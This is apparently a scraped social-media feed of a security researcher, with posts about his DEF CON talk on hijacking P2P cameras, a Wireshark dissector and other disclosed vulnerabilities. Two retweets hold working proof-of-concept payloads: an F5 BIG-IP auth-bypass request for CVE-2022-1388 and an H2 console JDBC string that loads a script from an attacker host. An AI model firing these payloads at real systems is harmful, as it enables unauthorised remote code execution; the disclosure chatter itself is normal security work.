Paul Marrapese

Red teamer, @defcon speaker, all-around chaos enthusiast. 🦝 (he/him)

[Paul Marrapese @PaulMarrapese]

My @defcon talk "Abusing P2P to Hack 3 Million Cameras" is now live! Come see just how easy it is for anyone in the world to hijack your camera from the comfort of their own home.

There will be a live Q&A session on August 8 @ 14:30 PST. #DEFCONSafeMode

https://t.co/hUoYoLAk0m

[MG @_MG_]

Love it

[Paul Marrapese @PaulMarrapese]

@xdavidhu @Google Jaw-dropping vuln & fantastic writeup👏

[David Schütz @xdavidhu]

I found a vulnerability that allowed me to unlock any @Google Pixel phone without knowing the passcode. This may be my most impactful bug so far.

Google fixed the issue in the November 5, 2022 security patch. Update your devices!

https://t.co/LUwSvEMF3w

[Paul Marrapese @PaulMarrapese]

https://t.co/MzGmZGRsiz has been updated with the latest statistics, prefixes & geolocation map!
Rapidly approaching *9 million* cameras discovered since the start of this project. 👀

[Paul Marrapese @PaulMarrapese]

@WhiteHoodHacker One of the best talks of DC30 👏👏👏 I miss the days of scanning my school network with Angry!! Lmao

[Paul Marrapese @PaulMarrapese]

@HackerJeopardy @defcon SMNP? 🤔 #YouFuckedItUp

[Paul Marrapese @PaulMarrapese]

I updated the P2P Wireshark dissector to handle a few new message types. These have been seen in the wild on Anker/Eufy devices.

Update here! https://t.co/rz7DYfG5NI

[Jas502n @jas502n]

#CVE-2022-1388 F5's BIG-IP Unauth RCE

Connection: keep-alive, X-F5-Auth-Token
Authorization: Basic YWRtaW46
X-F5-Auth-Token: anything

https://x.x.x.x:443/mgmt/tm/util/bash

[ismail @d0nkey_man]

Another unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221. Fixed in v2.1.210+. PoC: jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql';'\

[Paul Marrapese @PaulMarrapese]

@wrl this is way more difficult than i expected jfc

[Paul Marrapese @PaulMarrapese]

@geodbz That's quite the accomplishment! Congrats, dude. 🎉

[Nozomi Networks @nozominetworks]

In light of yesterday’s ICS-CERT disclosure on security camera vulnerabilities, read the blog on similar vulnerabilities in Reolink #IoT security cameras. https://t.co/R2iuT5mRLK

[Nozomi Networks @nozominetworks]

Earlier today, we disclosed a remotely exploitable vulnerability affecting ThroughTek’s P2P SDK. The vulnerability has a CVSS v3 base score of 9.1 and could affect several million connected devices.

https://t.co/VdSFS1d4ZQ via @threatpost

[Paul Marrapese @PaulMarrapese]

@statsguyuk @defcon Hi! Firmware after June 2020 no longer has the RCE/cryptographic issues, however man-in-the-middle attacks are still trivial due to the use of P2P. I strongly recommend turning off the P2P option via the web interface.

[Paul Marrapese @PaulMarrapese]

My @defcon talk "Abusing P2P to Hack 3 Million Cameras" is now live! Come see just how easy it is for anyone in the world to hijack your camera from the comfort of their own home.

There will be a live Q&A session on August 8 @ 14:30 PST. #DEFCONSafeMode

https://t.co/hUoYoLAk0m

[Paul Marrapese @PaulMarrapese]

I've been informed that someone is hacking into cameras and leaving a link to my site. This is *NOT* me doing this.

I can understand wanting to inform people, but this is invasive and I do not condone this sort of thing.